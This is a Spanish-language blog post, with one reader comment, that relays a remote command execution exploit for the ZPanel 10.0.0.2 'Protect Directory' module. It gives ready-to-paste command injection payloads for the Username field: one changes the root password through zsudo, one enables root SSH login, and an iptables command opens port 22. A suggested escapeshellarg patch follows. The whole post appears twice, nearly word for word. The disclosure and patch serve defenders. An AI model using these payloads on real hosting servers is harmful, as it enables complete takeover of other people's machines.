Si hace poco "Kingcope" publicaba exploits para versiones antiguas de Plesk, ahora le toca el turno a ZPanel, otro de los paneles para hosting web más usados en la actualidad.
Concretamente se trata de una vulnerabilidad en el módulo "Protect Directory" de la versión 10.0.0.2 que puede permitir la ejecución remota de comandos en la shell de la máquina debido al inexistente revisión/escape de los datos entrada. Sería por ejemplo posible el cambio de contraseña de root y el acceso completo al servidor.
Los pasos para explotarlo serían los siguientes:
1. Accede como cualquier usuario y vista http:///?module=htpasswd&selected=Selected&path=/
1a. En el campo "Username" introduce (incluyendo el punto y coma inicial y la almohadilla del final):
;/etc/zpanel/panel/bin/zsudo "echo 'newpassword'" "| passwd --stdin root" #
2. Escribe cualquier contraseña (newpassword)
3. La contraseña de root será cambiada a "newpassword"
4. Visita http:///?module=htpasswd&selected=Selected&path=/
5. En el campo "Username" introduce (incluyendo también el punto y coma inicial y la almohadilla del final):
;/etc/zpanel/panel/bin/zsudo sed '-i "s/#*\(PermitRootLogin\)/\1 yes \#/" /etc/ssh/*hd*g' #
6. Esto te permitira el acceso SSH como root
7. También puedes repetir el proceso para abrir el puerto 22 en iptables (iptables -A INPUT -p tcp --dport 22 -j ACCEPT) y reiniciar el servidor SSH (requerirá el proceso dos veces dado que el tamaño del buffer interno del comando zsudo es de 100 caracteres)
Aunque de momento se aconseja desactivar el módulo se plantea como parche añadir la función 'escapeshellarg' en modules/htpasswd/code/controller.ext.php línea 233:
fs_director::SetFileSystemPermissions($htaccesfiledir, 0777);
$htpasswd_exe = ctrl_options::GetSystemOption('htpasswd_exe') . " -b -m -c " .
$htaccesfiledir .
$row['ht_id_pk'] . ".htpasswd " .
escapeshellarg($inHTUsername) . " " . escapeshellarg($inHTPassword) . "";
system($htpasswd_exe);
Fuente: Serious Remote Execution Exploit in Zpanel 10.0.0.2!
Concretamente se trata de una vulnerabilidad en el módulo "Protect Directory" de la versión 10.0.0.2 que puede permitir la ejecución remota de comandos en la shell de la máquina debido al inexistente revisión/escape de los datos entrada. Sería por ejemplo posible el cambio de contraseña de root y el acceso completo al servidor.
Los pasos para explotarlo serían los siguientes:
1. Accede como cualquier usuario y vista http://
1a. En el campo "Username" introduce (incluyendo el punto y coma inicial y la almohadilla del final):
;/etc/zpanel/panel/bin/zsudo "echo 'newpassword'" "| passwd --stdin root" #
2. Escribe cualquier contraseña (newpassword)
3. La contraseña de root será cambiada a "newpassword"
4. Visita http://
5. En el campo "Username" introduce (incluyendo también el punto y coma inicial y la almohadilla del final):
;/etc/zpanel/panel/bin/zsudo sed '-i "s/#*\(PermitRootLogin\)/\1 yes \#/" /etc/ssh/*hd*g' #
6. Esto te permitira el acceso SSH como root
7. También puedes repetir el proceso para abrir el puerto 22 en iptables (iptables -A INPUT -p tcp --dport 22 -j ACCEPT) y reiniciar el servidor SSH (requerirá el proceso dos veces dado que el tamaño del buffer interno del comando zsudo es de 100 caracteres)
Aunque de momento se aconseja desactivar el módulo se plantea como parche añadir la función 'escapeshellarg' en modules/htpasswd/code/controller.ext.php línea 233:
fs_director::SetFileSystemPermissions($htaccesfiledir, 0777);
$htpasswd_exe = ctrl_options::GetSystemOption('htpasswd_exe') . " -b -m -c " .
$htaccesfiledir .
$row['ht_id_pk'] . ".htpasswd " .
escapeshellarg($inHTUsername) . " " . escapeshellarg($inHTPassword) . "";
system($htpasswd_exe);
Fuente: Serious Remote Execution Exploit in Zpanel 10.0.0.2!
Ese es grave ... Se tiene que informar a los creadores de zpanel...Que deje de chapuzas ;)
ResponderEliminar